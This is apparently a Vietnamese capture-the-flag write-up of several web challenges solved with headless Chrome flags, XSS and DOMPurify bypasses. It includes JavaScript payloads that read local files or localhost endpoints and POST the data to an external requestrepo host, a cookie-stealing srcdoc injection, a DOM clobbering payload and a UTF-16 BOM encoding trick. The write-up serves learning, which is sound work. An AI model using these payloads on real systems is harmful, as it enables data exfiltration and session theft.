--ozone-platform-hint --pack-extension-key --package-name --package-version-code --package-version-name --page-content-annotations-validation-batch-size --page-content-annotations-validation-content-visibility --page-content-annotations-validation-page-entities --page-content-annotations-validation-startup-delay-seconds --page-content-annotations-validation-write-to-file --parent-window --passthrough --pdf-renderer --pdf_conversion --pen-devices --perf-test-print-uma-means --perfetto-disable-interning --performance --picker-feature-key --playready-key-system --policy --ppapi --ppapi-antialiased-text-enabled --ppapi-in-process --ppapi-plugin-launcher --ppapi-startup-dialog --ppapi-subpixel-rendering-setting --prediction-service-mock-likelihood --preinstalled-web-apps-dir --prevent-kiosk-autolaunch-for-testing --prevent-resizing-contents-for-testing --previous-app --printing-ppd-channel --print_backend --print_compositor --privacy-policy-host-for-tests --private-aggregation-developer-mode --privet-ipv6-only --process-per-site --process-per-tab --production --profile-base-name --profile-directory --profile-email --profile-management-attributes --profile-requires-policy --profiling-at-start --profiling-file --profiling-flush --protected-audiences-consented-debug-token --proxy-auto-detect --proxy-bypass-list --proxy-pac-url --proxy-server --proxy_resolver_win --pseudo --public-accounts-saml-acl-url --purge-model-and-features-store --purge-optimization-guide-store --pwa-launcher-version --qs-add-fake-bluetooth-devices --qs-add-fake-cast-devices --qs-show-locale-tile --query-tiles-enable-trending --query-tiles-instant-background-task --query-tiles-rank-tiles --query-tiles-single-tier --quota-change-event-interval --raise-timer-frequency --rdp_desktop_session --reader-mode-feedback --reader-mode-heuristics --realtime-reporting-url --redirect-libassistant-logging --reduce-user-agent-minor-version --reduce-user-agent-platform-oscpu --register-max-dark-suspend-delay --register-pepper-plugins --regulatory-label-dir --relauncher --remote-allow-origins --remote-debug-mode --remote-debugging-address --remote-debugging-io-pipes --remote-debugging-port --remote-debugging-socket-name --remote-debugging-targets --remote-reboot-command-timeout-in-seconds-for-testing --renderer --renderer-client-id --renderer-cmd-prefix --renderer-process-limit --renderer-sampling --renderer-wait-for-java-debugger --renderpass --report-vp9-as-an-unsupported-mime-type --request-desktop-sites --require-wlan --reset-browsing-instance-between-tests --reset-variation-state --restart --restore-key-on-lock-screen --restore-last-session --restrict-gamepad-access --reven-branding --rlz-ping-delay --rtl --run-all-compositor-stages-before-draw --run-web-tests --safe-mode --safebrowsing-enable-enhanced-protection --safebrowsing-manual-download-blacklist --saml-password-change-url --sandbox-ipc --save-page-as-mhtml --scheduled-reboot-grace-period-in-seconds-for-testing --scheduler-boost-urgent --scheduler-configuration --scheduler-configuration-default --screen-capture-audio-default-unchecked --screen-config --screen_ai --seal-key --search-engine-choice-country --search-provider-logo-url --secondary-display-layout --secure-connect-api-url --service --service-name --service-request-attachment-name --service-sandbox-type --service_with_jit --set-extension-throttle-test-params --setup --shader-cache-path --shared-array-buffer-unrestricted-access-allowed --shared-files --shelf-hotseat --shill-stub --short-merge-session-timeout-for-test --short-reporting-delay --show-aggregated-damage --show-autofill-signatures --show-autofill-type-predictions --show-component-extension-options --show-composited-layer-borders --show-dc-layer-debug-borders --show-icons --show-layer-animation-bounds --show-layout-shift-regions --show-login-dev-overlay --show-mac-overlay-borders --show-oobe-dev-overlay --show-oobe-quick-start-debugger --show-overdraw-feedback --show-paint-rects --show-property-changed-rects --show-screenspace-rects --show-surface-damage-rects --show-taps --signed-out-ntp-modules --simulate-browsing-data-lifetime --simulate-critical-update --simulate-elevated-recovery --simulate-idle-timeout --simulate-outdated --simulate-outdated-no-au --simulate-update-error-code --simulate-update-hresult --simulate-upgrade --single-process --site-per-process --skia-font-cache-limit-mb --skia-graphite-backend --skia-resource-cache-limit-mb --skip-force-online-signin-for-testing --skip-multidevice-screen --skip-reorder-nudge-show-threshold-duration --slow-down-compositing-scale-factor --slow-down-raster-scale-factor --sms-test-messages --source-shortcut --speech_recognition --ssl-key-log-file --ssl-version-max --ssl-version-min --stabilize-time-dependent-view-for-tests --stable-release-mode --staging --start-fullscreen --start-stack-profiler --start-stack-profiler-with-java-name-hashing --storage-pressure-notification-interval --stub --supports-clamshell-auto-rotation --suppress-message-center-popups --surface --swiftshader --swiftshader-webgl --sys-info-file-path --system-aec-enabled --system-developer-mode --system-font-family --system-gesture-start-height --system-gesture-start-width --system-log-upload-frequency --telemetry-extension-dir --test-child-process --test-encryption-migration-ui --test-gl-lib --test-memory-log-delay-in-minutes --test-name --test-third-party-cookie-phaseout --test-type --test-wallpaper-server --tether-host-scans-ignore-wired-connections --tether-stub --third-party-doodle-url --time-before-onboarding-survey-in-seconds-for-testing --time-ticks-at-unix-epoch --time-zone-for-testing --tint-composited-content --tint-composited-content-modulate --tls1.2 --tls1.3 --top-chrome-touch-ui --top-controls-hide-threshold --top-controls-show-threshold --touch-devices --touch-events --touch-selection-strategy --touch-slop-distance --touchscreen-usable-while-screen-off --touch_view --tpm-is-dynamic --trace-config-file --trace-smb-size --trace-startup --trace-startup-duration --trace-startup-enable-privacy-filtering --trace-startup-file --trace-startup-format --trace-startup-owner --trace-startup-record-mode --trace-to-file --trace-to-file-name --translate-ranker-model-url --translate-script-url --translate-security-origin --true --trusted-download-sources --try-supported-channel-layouts --tts --ui-disable-partial-swap --ui-disable-zero-copy --ui-enable-rgba-4444-textures --ui-enable-zero-copy --ui-show-composited-layer-borders --ui-show-fps-counter --ui-show-layer-animation-bounds --ui-show-paint-rects --ui-show-property-changed-rects --ui-show-screenspace-rects --ui-show-surface-damage-rects --ui-slow-animations --ui-toolkit --ukm-server-url --uma-insecure-server-url --uma-server-url --unfiltered-bluetooth-devices --uninstall --uninstall-app-id --unlimited-storage --unsafely-allow-protected-media-identifier-for-domain --unsafely-treat-insecure-origin-as-secure --use-adapter-luid --use-angle --use-cast-browser-pref-config --use-cmd-decoder --use-cras --use-fake-codec-for-peer-connection --use-fake-cras-audio-client-for-dbus --use-fake-device-for-media-stream --use-fake-mjpeg-decode-accelerator --use-fake-ui-for-fedcm --use-file-for-fake-audio-capture --use-file-for-fake-video-capture --use-first-display-as-internal --use-first-party-set --use-gl --use-gpu-high-thread-priority-for-perf-tests --use-gpu-in-tests --use-heap-profiling-proto-writer --use-legacy-metrics-service --use-mobile-user-agent --use-mock-cert-verifier-for-testing --use-mock-keychain --use-related-website-set --use-system-clipboard --use-system-default-printer --use-system-proxy-resolver --use-va-dev-keys --use-vulkan --use-wayland-explicit-grab --user-agent --user-agent-product --user-data-migrated --user-gesture-required --utility --utility-and-browser --utility-cmd-prefix --utility-sampling  --utility-sub-type --v --v8-cache-options --validate-input-event-stream --validating --variations-insecure-server-url --variations-override-country --variations-seed-fetch-interval --variations-seed-version --variations-server-url --verbose-logging-in-nacl --video-capture-use-gpu-memory-buffer --video-image-texture-target --video-threads --video_capture --view-stack-traces --viz-demo-use-gpu --vmodule --vsync-interval --vulkan --vulkan-heap-memory-limit-mb --vulkan-sync-cpu-memory-limit-mb --wait-for-debugger-webui --wallet-service-use-sandbox --waveout-buffers --web-otp-backend --web-otp-backend-auto --web-otp-backend-sms-verification --web-otp-backend-user-consent --web-sql-access --web-ui-data-source-path-for-testing --webapk-server-url --webauthn-permit-enterprise-attestation --webauthn-remote-desktop-support --webauthn-remote-proxied-requests-allowed-additional-origin --webgl-antialiasing-mode --webgl-msaa-sample-count --webrtc-event-log-proactive-pruning-delta --webrtc-event-log-upload-delay-ms --webrtc-event-log-upload-no-suppression --webrtc-event-logging --webrtc-ip-handling-policy --webview-disable-app-recovery --webview-disable-safebrowsing-support --webview-draw-functor-uses-vulkan --webview-enable-app-recovery --webview-enable-modern-cookie-same-site --webview-enable-trust-tokens-component --webview-log-js-console-messages --webview-safebrowsing-block-all-resources --webview-sandboxed-renderer --webview-selective-image-inversion-darkening --webview-tpcd-metadata-component --webview-verbose-logging --win-jumplist-action --window-name --window-position --window-size --window-workspace --winhttp-proxy-resolver --wm-window-animations-disabled --xr_compositing --xsession_chooser --yuy2 --zygote

Trong đó có options đáng chú ý là --allow-file-access-from-files
https://stackoverflow.com/questions/18586921/how-to-launch-html-using-chrome-at-allow-file-access-from-files-mode
=> đọc được file local với mục tiêu là /flag.txt

Exploit

Upload file html:

<!DOCTYPE html>
<html lang="en">
<head>
    <title>sol</title>
</head>
<body>
    <script>
        fetch('/flag.txt')
          .then(response => response.text())
          .then(data => {
            fetch('http://n1gqw31n.requestrepo.com', {
              method: 'POST',
              body: data
            });
          });
    </script>
</body>
</html>

Kết quả:

image

Even more flags

Đây là bài 2 của bài trên, khác ở chỗ bài này nhập vào URL thay vì upload file:

image

Kiểm tra URL:

if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') {
    return res.status(400).send('Invalid URL');
}

Sau đó chạy câu lệnh

const command = `bash -c "google-chrome-stable --disable-gpu --headless=new --no-sandbox --no-first-run ${flags} ${url}"`;

Mục tiêu là truy cập vào /flag:

app.get('/flag', (req, res) => {
    if (req.connection.remoteAddress === '::ffff:127.0.0.1' || req.connection.remoteAddress === "::1") return res.send(flag);
    res.send(`Nope! Your IP (${req.connection.remoteAddress}) is not localhost!`);
})

Exploit

Host file tương tự bài trên

<!DOCTYPE html>
<html lang="en">
<head>
    <title>sol</title>
</head>
<body>
    <script>
      fetch('http://127.0.0.1:1337/flag')
        .then(response => response.text())
        .then(data => {
          fetch('https://n1gqw31n.requestrepo.com/', {
            method: 'POST',
            body: data
          });
        });
    </script>
</body>
</html>

image

Kết quả:

image

Refined Notes

Đây là chall XSS.

  • Ứng dụng cho viết note có thể inject được HTML, tuy nhiên được xử lý qua Dompurify 3.1.4:
<!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Refined Note Taking App</title>
        <link href="https://cdn.jsdelivr.net/npm/tailwindcss@2.2.19/dist/tailwind.min.css" rel="stylesheet">
        <script src="https://cdn.jsdelivr.net/npm/dompurify@3.1.4/dist/purify.min.js"></script>
        <script defer src="/static/index.js"></script>
    </head>
    <body class="bg-gray-100 p-4">
        <div class="max-w-lg mx-auto">
            <h1 class="text-2xl font-bold mb-4">Refined Note Taking App</h1>
            <div id="container" class="mb-4 flex flex-col">
                <iframe id="noteframe" class=" bg-white w-full px-3 py-2 border rounded-md h-60" srcdoc=""></iframe>
                <textarea type="text" id="note" class="hidden w-full px-3 py-2 border rounded-md h-60" placeholder="Enter your note here"></textarea>
                <button id="submit" class="hidden mt-2 px-4 py-2 bg-blue-500 text-white rounded-md">Add Note</button>
            </div>
        </div>
    </body>

Xử lý:

submit.addEventListener('click', (e) => {
    const purified = DOMPurify.sanitize(note.value);
    fetch("/", {
        method: "POST",
        body: purified
    }).then(response => response.text()).then((id) => {
        window.history.pushState({page: ''}, id, `/${id}`);
        submit.classList.add('hidden');
        note.classList.add('hidden');
        noteframe.classList.remove('hidden');
        noteframe.srcdoc = purified;
    });
});

Tuy nhiên nội dung được đưa vào srcdoc:

image

=> XSS
Payload:

" onload="fetch('https://n1gqw31n.requestrepo.com'+document.cookie)

Kết quả:

image

intended
Sử dụng html encode tại srcdoc:

&lt;img src=x:x onerror=alert(1)&gt;

https://github.com/apostrophecms/sanitize-html/issues/217

Flag remover

XSS tại đây

app.post('/chal', (req, res) => {
    let { flag, html } = req.body;
    // don't xss
    html = DOMPurify.sanitize(html);
    // don't close/open the body tag
    html = html.replace(/<body>|<\/body>/g, '');
    res.setHeader("Content-Security-Policy", "default-src 'none'; script-src 'self';");
    res.send(`
        <head>
            <script async defer src="/removeFlag.js"></script>
        </head>
        <body>
            <div class="flag">${flag}</div>
            ${html}
        </body>
    `);
});

html được sẽ xóa <body> hoặc </body> sau khi xử lý qua Dompurify.
Khi render ra html thì /removeFlag.js cũng sẽ thực thi

app.get('/removeFlag.js', (req, res) => {
    res.type('.js');
    res.send(`try {
        let els = document.body.querySelectorAll('.flag');
        if (els.length !== 1) throw "nope";
        els[0].remove();
    } catch(e) { location = 'https://duckduckgo.com/?q=no+cheating+allowed&iax=images&ia=images' }`);
});

Nó lấy ra tag có classflag, nếu khác 1 giá trị thì throw "nope" còn không thì remove nó - tag chứ flag, vì vậy con bot đi qua cũng k capture lại được:

app.post('/admin', async (req, res) => {
    try {
        const { solve } = req.body;
        const browser = await puppeteer.launch({ executablePath: process.env.BROWSER, args: ['--no-sandbox'] });
        // go to localhost:1337, type flag and html, click submit
        const page = await browser.newPage();
        await page.goto('http://localhost:1337/');
        await page.type('input[name="flag"]', flag.trim());
        await page.type('input[name="html"]', solve.trim());
        await page.click('button[type="submit"]');
        await new Promise(resolve => setTimeout(resolve, 5000));
        // make sure js execution isn't blocked
        await page.waitForFunction('true')
        // take a screenshot
        const screenshot = await page.screenshot({ encoding: 'base64' });
        await browser.close();
        res.send(`<img src="data:image/png;base64,${screenshot}" />`);
    } catch(e) {console.error(e); res.send("internal error :( pls report to admins")}
});

Việc tìm cách để nhìn flag trước khi bị remove cũng khó vì nó đã bị timeout 5s trước khi load ra hết.
Mục tiêu vẫn là thực thi được đoạn script không đúng cách, Dom Clebbering là kỹ thuật được dùng => ghi đè: document.body.querySelectorAll('.flag')
Nhìn vào phía trên kia, lợi dụng việc Dompurify thực hiện sanitize trước khi replace tag body để bypass.
Payload:

<form name="body<body>"><div class=flag></form>

tag body sẽ giúp bypass được việc check dompurify, tag div kia sẽ là tag bị remove thay vì tag flag thật.
Khi đó document.body trở thành:

image

document.body.querySelectorAll('.flag') sẽ lấy ra tag có class là flag trong form đó và chỉ có tag đó nên length là 1:

image

Kết quả là tag scipt thật không bị remove:

image

Giờ chỉ viếc lấy flag:

image

Secure Notes

Source:

const DOMPurify = require('dompurify')(new (require('jsdom').JSDOM)('').window); // the only dependency!
require('fs').mkdirSync('notes', { recursive: true });
require('http').createServer((req, res) => { try {
    if (req.url === "/") {
        res.setHeader('Content-Type', 'text/html');
        res.end(`<textarea id="content"></textarea><br><button onclick="location='/submit?'+encodeURIComponent(content.value)">Submit`)
    } else if (req.url.startsWith("/submit")) {
        const content = decodeURIComponent(req.url.split('submit?')[1]);
        const id = require('crypto').randomBytes(16).toString('hex');
        require('fs').writeFileSync(`notes/${id}.html`, DOMPurify.sanitize(content), "utf-16le");
        res.setHeader("Location", `/notes/${id}`); res.statusCode = 302; res.end();
    } else if (req.url.startsWith("/notes/")) {
        const id = (req.url.split('/notes/')[1]).match(/^[a-f0-9]{32}$/);
        res.setHeader('Content-Type', 'text/html; charset=utf-16le');
        res.end(require('fs').readFileSync(`notes/${id}.html`));
} } catch(e) {console.log(e)}}).listen(1337);

Nhìn qua cũng biết liên quan đến utf-16-le, hiểu 1 cách đơn gian là do Dompurify và Chrome không thể xử lý an toàn được.
Script:

# thx to https://stackoverflow.com/a/7103606 for pointing me in the right direction
# see https://html.spec.whatwg.org/multipage/parsing.html#determining-the-character-encoding point 1
# TLDR:
import requests

URL = "https://sweet-dreams-are-made-of-this--vula-7990.ctf.kitctf.de"

payload = "\ufeff<script>document.write(document.cookie)</script>"
be = payload.encode("utf-16-le")
swapped = b"".join(bytes([y, x]) for x, y in zip(be[::2], be[1::2]))
print(
    swapped, swapped.decode("utf-16-le"), swapped.decode("utf-16-be")
)  # the 2nd arg is what DOMPurify sees, the 3rd arg is what the browser sees

note = requests.post(url=URL+ "/submit?" + swapped.decode("utf-16-le"),).url

print(note)

BOM (Byte Order Mark) sniffing là một quá trình dùng để xác định mã hóa của một tài liệu văn bản dựa trên một dãy byte đặc biệt nằm ở đầu tài liệu. BOM giúp chỉ định thứ tự byte trong mã hóa ký tự, đặc biệt là trong các tài liệu Unicode. Dưới đây là chi tiết về BOM sniffing

image

image